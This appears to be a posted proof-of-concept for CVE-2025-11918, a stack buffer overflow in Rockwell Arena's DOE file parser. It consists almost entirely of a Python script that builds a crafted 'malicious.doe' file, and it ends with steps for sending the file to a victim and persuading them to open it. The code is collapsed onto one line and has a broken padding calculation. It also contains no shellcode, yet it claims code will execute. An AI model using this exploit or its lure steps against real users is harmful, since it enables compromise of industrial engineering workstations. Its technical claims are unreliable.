CVE-2025-11918: Rockwell Arena DOE文件解析栈缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-11918 PoC - Malicious DOE File Generator # Target: Rockwell Automation Arena® DOE File Parser Stack Overflow # Author: Security Research import struct import sys def create_malicious_doe_file(filename, overflow_length=2048): """ Generate a malicious DOE file to trigger stack buffer overflow Parameters: filename: Output DOE file path overflow_length: Length of overflow payload (default: 2048 bytes) """ # DOE file magic header (identify file format) header = b'DOE\x00\x01\x00' # DOE format version version = struct.pack('<H', 0x0100) # Number of variables in experiment num_vars = struct.pack('<I', 10) # Craft overflow payload # Fill buffer with 'A' characters to overflow overflow_payload = b'A' * overflow_length # Overwrite return address with address of our shellcode # In real exploitation, this would be determined via debugging return_address = struct.pack('<Q', 0x4141414141414141) # Placeholder address # Additional padding to reach expected file structure padding = b'\x00' * (overflow_length - len(overflow_payload) - len(return_address)) # Craft variable definitions (normal DOE content) var_section = b'' for i in range(10): var_name = f'VAR_{i}'.encode('ascii').ljust(32, b'\x00') var_type = struct.pack('<I', 1) # Type 1 = numeric var_value = struct.pack('<d', float(i)) var_section += var_name + var_type + var_value # Experiment parameters exp_params = b'REPLICATIONS=100\n' exp_params += b'MAX_RUNS=1000\n' # Combine all sections doe_content = header + version + num_vars + overflow_payload + return_address + padding + var_section + exp_params # Write to file with open(filename, 'wb') as f: f.write(doe_content) print(f'[+] Malicious DOE file created: {filename}') print(f'[+] Overflow payload length: {overflow_length} bytes') print(f'[+] File size: {len(doe_content)} bytes') return doe_content def analyze_overflow_point(payload_length): """ Calculate overflow point based on typical buffer sizes """ typical_stack_buffer = 1024 offset_to_retaddr = 8 overflow_start = typical_stack_buffer - offset_to_retaddr print(f'[*] Analysis:') print(f' - Estimated buffer size: {typical_stack_buffer} bytes') print(f' - Offset to return address: {offset_to_retaddr} bytes') print(f' - Overflow starts at: {overflow_start} bytes') print(f' - Total payload needed: {overflow_start + offset_to_retaddr} bytes') if __name__ == '__main__': print('=' * 60) print('CVE-2025-11918 PoC - Rockwell Arena DOE Stack Overflow') print('=' * 60) # Default overflow length overflow_len = 2048 if len(sys.argv) > 1: overflow_len = int(sys.argv[1]) output_file = 'malicious.doe' analyze_overflow_point(overflow_len) print() create_malicious_doe_file(output_file, overflow_len) print() print('[+] To exploit:') print(f' 1. Send "{output_file}" to target user') print(' 2. Convince user to open file in Arena®') print(' 3. Malicious code will execute with user privileges')